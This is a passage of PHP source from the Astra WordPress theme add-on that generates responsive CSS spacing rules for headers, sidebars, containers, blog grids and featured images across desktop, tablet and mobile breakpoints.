'.ast-two-container.ast-right-sidebar #secondary .widget, .ast-two-container.ast-left-sidebar #secondary .widget, .ast-separate-container #secondary .widget, .ast-plain-container #secondary .widget' => array( 'padding-left' => astra_responsive_spacing( $sidebar_inside_spacing, 'left', 'mobile' ), 'padding-right' => astra_responsive_spacing( $sidebar_inside_spacing, 'right', 'mobile' ), ), /** * Blog Grid Spacing */ // Blog Grid Outside Spacing. '.ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-separate-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'mobile' ), ), // Narrow Container blog grid mobile support for outside spacing. '.ast-narrow-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-2 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-narrow-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-3 .ast-article-post.ast-separate-posts:nth-child(2n+1), .ast-narrow-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+0), .ast-narrow-container .ast-grid-4 .ast-article-post.ast-separate-posts:nth-child(2n+1)' => array( 'padding-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'mobile' ), ), // Blog Grid Inside Spacing. '.ast-separate-container .ast-grid-2 .blog-layout-1, .ast-separate-container .ast-grid-2 .blog-layout-2, .ast-separate-container .ast-grid-2 .blog-layout-3, .ast-separate-container .ast-grid-3 .ast-article-post .blog-layout-1, .ast-separate-container .ast-grid-3 .blog-layout-2, .ast-separate-container .ast-grid-3 .blog-layout-3, .ast-separate-container .ast-grid-4 .ast-article-post .blog-layout-1, .ast-separate-container .ast-grid-4 .blog-layout-2, .ast-separate-container .ast-grid-4 .blog-layout-3' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'mobile' ), ), // Narrow Container blog grid mobile support for inside spacing. '.ast-narrow-container .ast-grid-2 .blog-layout-1, .ast-narrow-container .ast-grid-2 .blog-layout-2, .ast-narrow-container .ast-grid-2 .blog-layout-3, .ast-narrow-container .ast-grid-3 .ast-article-post .blog-layout-1, .ast-narrow-container .ast-grid-3 .blog-layout-2, .ast-narrow-container .ast-grid-3 .blog-layout-3, .ast-narrow-container .ast-grid-4 .ast-article-post .blog-layout-1, .ast-narrow-container .ast-grid-4 .blog-layout-2, .ast-narrow-container .ast-grid-4 .blog-layout-3' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'mobile' ), ), // Blog Pagination Spacing. '.ast-pagination' => array( 'padding-top' => astra_responsive_spacing( $blog_post_pagination_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $blog_post_pagination_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_pagination_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $blog_post_pagination_spacing, 'left', 'mobile' ), ), $alignfull_editor_selector => array( 'margin-right' => astra_responsive_spacing( $container_inside_spacing, 'right', 'mobile', '', '-' ), 'margin-left' => astra_responsive_spacing( $container_inside_spacing, 'left', 'mobile', '', '-' ), ), ); if ( $is_new_strctural_defaults ) { $mobile_spacing['.ast-separate-container .comments-title, .ast-narrow-container .comments-title'] = array( 'padding-right' => astra_responsive_spacing( $single_post_inside_spacing, 'right', 'mobile' ), 'padding-left' => astra_responsive_spacing( $single_post_inside_spacing, 'left', 'mobile' ), 'padding-top' => astra_responsive_spacing( $single_post_inside_spacing, 'top', 'mobile' ), 'padding-bottom' => '0', ); } if ( false === astra_addon_builder_helper()->is_header_footer_builder_active ) { /** * Site Identity Spacing */ $mobile_spacing['.site-header .ast-site-identity'] = array( 'padding-top' => astra_responsive_spacing( $site_identity_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $site_identity_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $site_identity_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $site_identity_spacing, 'left', 'mobile' ), ); } $spacing_css_output .= astra_parse_css( $mobile_spacing, '', astra_addon_get_mobile_breakpoint() ); // Fixed submenu icon issue for RTL in responsive devices. if ( $is_site_rtl ) { $rtl_desktop_submenu_arrow_css = array( '.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'desktop' ), 'left' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'left', 'desktop' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'left' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'left', 'desktop' ), '-', '0.907', 'em' ), ), ); $rtl_tablet_submenu_arrow_css = array( '.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'tablet' ), 'left' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'left', 'tablet' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'left' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'left', 'tablet' ), '-', '0.907', 'em' ), ), ); $rtl_mobile_submenu_arrow_css = array( '.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'mobile' ), 'left' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'left', 'mobile' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'left' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'left', 'mobile' ), '-', '0.907', 'em' ), ), ); $spacing_css_output .= astra_parse_css( $rtl_desktop_submenu_arrow_css ); $spacing_css_output .= astra_parse_css( $rtl_tablet_submenu_arrow_css, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $rtl_mobile_submenu_arrow_css, '', astra_addon_get_mobile_breakpoint() ); } else { $desktop_submenu_arrow_css = array( '.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'desktop' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'right', 'desktop' ), '-', '0.907', 'em' ), ), ); $tablet_submenu_arrow_css = array( '.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'tablet' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'right', 'tablet' ), '-', '0.907', 'em' ), ), ); $mobile_submenu_arrow_css = array( '.ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle' => array( 'top' => astra_responsive_spacing( $primary_menu_spacing, 'top', 'mobile' ), 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), '.ast-flyout-menu-enable.ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu > .menu-item-has-children > .ast-menu-toggle' => array( 'right' => astra_calc_spacing( astra_responsive_spacing( $primary_menu_spacing, 'right', 'mobile' ), '-', '0.907', 'em' ), ), ); $spacing_css_output .= astra_parse_css( $desktop_submenu_arrow_css ); $spacing_css_output .= astra_parse_css( $tablet_submenu_arrow_css, '', astra_addon_get_tablet_breakpoint() ); $spacing_css_output .= astra_parse_css( $mobile_submenu_arrow_css, '', astra_addon_get_mobile_breakpoint() ); } $remove_bottom_sire_brancing = array( '.ast-header-break-point .header-main-layout-2 .site-branding, .ast-header-break-point .ast-mobile-header-stack .ast-mobile-menu-buttons' => array( 'padding-bottom' => astra_get_css_value( 0, 'px' ), ), ); if ( isset( $header_spacing['mobile']['bottom'] ) && ( '' != $header_spacing['mobile']['bottom'] ) ) { $spacing_css_output .= astra_parse_css( $remove_bottom_sire_brancing, '', astra_addon_get_mobile_breakpoint() ); } /** * * Sidebar Desktop/Tablet/Mobile Spacing */ $remove_sidebar_widget_outside_margin_desktop = array( '.ast-separate-container.ast-two-container #secondary .widget, .ast-separate-container #secondary .widget' => array( 'margin-bottom' => astra_responsive_spacing( $sidebar_outside_spacing, 'bottom', 'desktop' ), ), ); $spacing_css_output .= astra_parse_css( $remove_sidebar_widget_outside_margin_desktop ); // Tablet. $remove_sidebar_widget_outside_margin_tablet = array( '.ast-separate-container.ast-two-container #secondary .widget, .ast-separate-container #secondary .widget' => array( 'margin-bottom' => astra_responsive_spacing( $sidebar_outside_spacing, 'bottom', 'tablet' ), ), ); $spacing_css_output .= astra_parse_css( $remove_sidebar_widget_outside_margin_tablet, '', astra_addon_get_tablet_breakpoint() ); // Mobile. $remove_sidebar_widget_outside_margin_mobile = array( '.ast-separate-container.ast-two-container #secondary .widget, .ast-separate-container #secondary .widget' => array( 'margin-bottom' => astra_responsive_spacing( $sidebar_outside_spacing, 'bottom', 'mobile' ), ), ); $spacing_css_output .= astra_parse_css( $remove_sidebar_widget_outside_margin_mobile, '', astra_addon_get_mobile_breakpoint() ); /** * Container Outer spacing */ // To apply Container Outside Spacing we need to remove default top padding given from the theme. $remove_top_padding_container = array( '.ast-separate-container #primary, .ast-narrow-container #primary' => array( 'padding-top' => astra_get_css_value( 0, 'px' ), ), ); if ( '' != $continder_outside_spacing['desktop']['top'] ) { $spacing_css_output .= astra_parse_css( $remove_top_padding_container ); } if ( '' != $continder_outside_spacing['tablet']['top'] ) { $spacing_css_output .= astra_parse_css( $remove_top_padding_container, '', astra_addon_get_tablet_breakpoint() ); } if ( '' != $continder_outside_spacing['mobile']['top'] ) { $spacing_css_output .= astra_parse_css( $remove_top_padding_container, '', astra_addon_get_mobile_breakpoint() ); } // To apply Container Outside Spacing we need to remove default bottom padding given from the theme. $remove_bottom_padding_container = array( '.ast-separate-container #primary, .ast-narrow-container #primary' => array( 'padding-bottom' => astra_get_css_value( 0, 'px' ), ), ); if ( '' != $continder_outside_spacing['desktop']['top'] ) { $spacing_css_output .= astra_parse_css( $remove_bottom_padding_container ); } if ( '' != $continder_outside_spacing['tablet']['top'] ) { $spacing_css_output .= astra_parse_css( $remove_bottom_padding_container, '', astra_addon_get_tablet_breakpoint() ); } if ( '' != $continder_outside_spacing['mobile']['top'] ) { $spacing_css_output .= astra_parse_css( $remove_bottom_padding_container, '', astra_addon_get_mobile_breakpoint() ); } /** * Blog Grid Outer spacing */ if ( ( 1 == $blog_grid || 'blog-layout-2' === $blog_layout || 'blog-layout-3' === $blog_layout || ! Astra_Ext_Extension::is_active( 'blog-pro' ) ) ) { // Apply margin only if grid is selected 1 column. $single_column_margin_blog_pro = array( '.ast-separate-container .ast-article-post, .ast-separate-container .ast-separate-posts.ast-article-post, .ast-narrow-container .ast-article-post, .ast-narrow-container .ast-separate-posts.ast-article-post' => array( 'margin-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'desktop' ), 'margin-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'desktop' ), ), '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-post, .ast-narrow-container .ast-article-post, .ast-narrow-container .ast-separate-posts.ast-article-post' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'desktop' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'desktop' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'desktop' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'desktop' ), ), ); $spacing_css_output .= astra_parse_css( $single_column_margin_blog_pro ); $single_column_margin_blog_pro_tablet = array( '.ast-separate-container .ast-article-post, .ast-separate-container .ast-separate-posts.ast-article-post, .ast-narrow-container .ast-article-post, .ast-narrow-container .ast-separate-posts.ast-article-post' => array( 'margin-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'tablet' ), 'margin-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'tablet' ), ), '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-post, .ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-post' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'tablet' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'tablet' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'tablet' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'tablet' ), ), ); $spacing_css_output .= astra_parse_css( $single_column_margin_blog_pro_tablet, '', astra_addon_get_tablet_breakpoint() ); $single_column_margin_blog_pro_mobile = array( '.ast-separate-container .ast-article-post, .ast-separate-container .ast-separate-posts.ast-article-post, .ast-narrow-container .ast-article-post, .ast-narrow-container .ast-separate-posts.ast-article-post' => array( 'margin-top' => astra_responsive_spacing( $blog_post_outside_spacing, 'top', 'mobile' ), 'margin-right' => astra_responsive_spacing( $blog_post_outside_spacing, 'right', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $blog_post_outside_spacing, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $blog_post_outside_spacing, 'left', 'mobile' ), ), '.ast-separate-container .ast-article-post, .ast-separate-container .ast-article-post, .ast-narrow-container .ast-article-post, .ast-narrow-container .ast-article-post' => array( 'padding-top' => astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'mobile' ), 'padding-right' => astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'mobile' ), 'padding-bottom' => astra_responsive_spacing( $blog_post_inside_spacing, 'bottom', 'mobile' ), 'padding-left' => astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'mobile' ), ), ); $spacing_css_output .= astra_parse_css( $single_column_margin_blog_pro_mobile, '', astra_addon_get_mobile_breakpoint() ); } else { // To apply Blog Grid Outside Spacing we need to remove default bottom margin given from the blog pro. $remove_bottom_margin_blog_pro = array( '.ast-separate-container .ast-separate-posts.ast-article-post, .ast-narrow-container .ast-separate-posts.ast-article-post' => array( 'margin-bottom' => astra_get_css_value( 0, 'px' ), ), ); if ( '' != $blog_post_outside_spacing['desktop']['bottom'] ) { $spacing_css_output .= astra_parse_css( $remove_bottom_margin_blog_pro ); } if ( '' != $blog_post_outside_spacing['tablet']['bottom'] ) { $spacing_css_output .= astra_parse_css( $remove_bottom_margin_blog_pro, '', astra_addon_get_tablet_breakpoint() ); } if ( '' != $blog_post_outside_spacing['mobile']['bottom'] ) { $spacing_css_output .= astra_parse_css( $remove_bottom_margin_blog_pro, '', astra_addon_get_mobile_breakpoint() ); } } /** * Blog Pro Featured Image padding */ if ( $blog_featured_image_padding ) { $remove_featured_image_margin_top = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content,.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on,.ast-desktop.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section:first-child .square .posted-on' => array( 'margin-top' => ( isset( $blog_post_inside_spacing['desktop']['top'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'desktop' ) ) : '' ), ), '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => ( isset( $blog_post_inside_spacing['desktop']['left'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'desktop' ) ) : '' ), 'margin-right' => ( isset( $blog_post_inside_spacing['desktop']['right'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'desktop' ) ) : '' ), ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => ( isset( $blog_post_inside_spacing['desktop']['left'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'desktop' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_featured_image_margin_top ); $remove_featured_image_margin_top_tablet = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content,.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content' => array( 'margin-top' => ( isset( $blog_post_inside_spacing['tablet']['top'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'tablet' ) ) : '' ), ), '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content,.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => ( isset( $blog_post_inside_spacing['tablet']['left'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'tablet' ) ) : '' ), 'margin-right' => ( isset( $blog_post_inside_spacing['tablet']['right'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'tablet' ) ) : '' ), ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => ( isset( $blog_post_inside_spacing['tablet']['left'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'tablet' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_featured_image_margin_top_tablet, '', astra_addon_get_tablet_breakpoint() ); $remove_featured_image_margin_top_mobile = array( '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content,.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-content .ast-blog-featured-section:first-child .post-thumb-img-content' => array( 'margin-top' => ( isset( $blog_post_inside_spacing['mobile']['top'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'top', 'mobile' ) ) : '' ), ), '.ast-separate-container .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content,.ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding .blog-layout-1 .post-thumb-img-content, .ast-separate-container.ast-blog-grid-2 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-3 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on, .ast-separate-container.ast-blog-grid-4 .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => ( isset( $blog_post_inside_spacing['mobile']['left'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'mobile' ) ) : '' ), 'margin-right' => ( isset( $blog_post_inside_spacing['mobile']['right'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'right', 'mobile' ) ) : '' ), ), '.ast-separate-container .ast-article-post.remove-featured-img-padding.has-post-thumbnail .blog-layout-1 .post-content .ast-blog-featured-section .square .posted-on' => array( 'margin-left' => ( isset( $blog_post_inside_spacing['mobile']['left'] ) ? ( '-' . astra_responsive_spacing( $blog_post_inside_spacing, 'left', 'mobile' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_featured_image_margin_top_mobile, '', astra_addon_get_mobile_breakpoint() ); } /** * Single Blog Featured Image padding */ if ( $remove_single_featured_padding ) { // Container inside spacing for single post if single_post_inside_spacing is not given then fallback to container_inside_spacing. $remove_single_featured_image_margin_top = array( '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child' => array( 'margin-top' => ( isset( $container_inside_spacing['desktop']['top'] ) && ( '' != $container_inside_spacing['desktop']['top'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'top', 'desktop' ) ) : '' ), ), '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child, .ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content' => array( 'margin-left' => ( isset( $container_inside_spacing['desktop']['left'] ) && ( '' != $container_inside_spacing['desktop']['left'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'left', 'desktop' ) ) : '' ), 'margin-right' => ( isset( $container_inside_spacing['desktop']['right'] ) && ( '' != $container_inside_spacing['desktop']['right'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'right', 'desktop' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_single_featured_image_margin_top ); $remove_single_featured_image_margin_top_tablet = array( '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child' => array( 'margin-top' => ( isset( $container_inside_spacing['tablet']['top'] ) && ( '' != $container_inside_spacing['tablet']['top'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'top', 'tablet' ) ) : '' ), ), '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child, .ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content' => array( 'margin-left' => ( isset( $container_inside_spacing['tablet']['left'] ) && ( '' != $container_inside_spacing['tablet']['left'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'left', 'tablet' ) ) : '' ), 'margin-right' => ( isset( $container_inside_spacing['tablet']['right'] ) && ( '' != $container_inside_spacing['tablet']['right'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'right', 'tablet' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_single_featured_image_margin_top_tablet, '', astra_addon_get_tablet_breakpoint() ); $remove_single_featured_image_margin_top_mobile = array( '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child' => array( 'margin-top' => ( isset( $container_inside_spacing['mobile']['top'] ) && ( '' != $container_inside_spacing['mobile']['top'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'top', 'mobile' ) ) : '' ), ), '.ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child, .ast-separate-container .ast-article-single.remove-featured-img-padding .single-layout-1 .post-thumb-img-content' => array( 'margin-left' => ( isset( $container_inside_spacing['mobile']['left'] ) && ( '' != $container_inside_spacing['mobile']['left'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'left', 'mobile' ) ) : '' ), 'margin-right' => ( isset( $container_inside_spacing['mobile']['right'] ) && ( '' != $container_inside_spacing['mobile']['right'] ) ? ( '-' . astra_responsive_spacing( $container_inside_spacing, 'right', 'mobile' ) ) : '' ), ), ); $spacing_css_output .= astra_parse_css( $remove_single_featured_image_margin_top_mobile, '', astra_addon_get_mobile_breakpoint() ); // Single Post inside spacing for single post. // Works only for single post if single_post_inside_spacing is given. $remove_single_post_featured_image_margin_top = array( '.ast-separate-container.ast-single-post .ast-article-single.remove-featured-img-padding .single-layout-1 .entry-header .post-thumb-img-content:first-child' => array( 'margin-top' => ( isset( $single_post_inside_spacing['desktop']['top'] ) && ( '' != $single_post_inside_spacing['desktop']['top'] ) ? ( '-' . astra_responsive_spacing( $single_post_inside_spacing, 'top', 'desktop' ) ) : '' ), ), 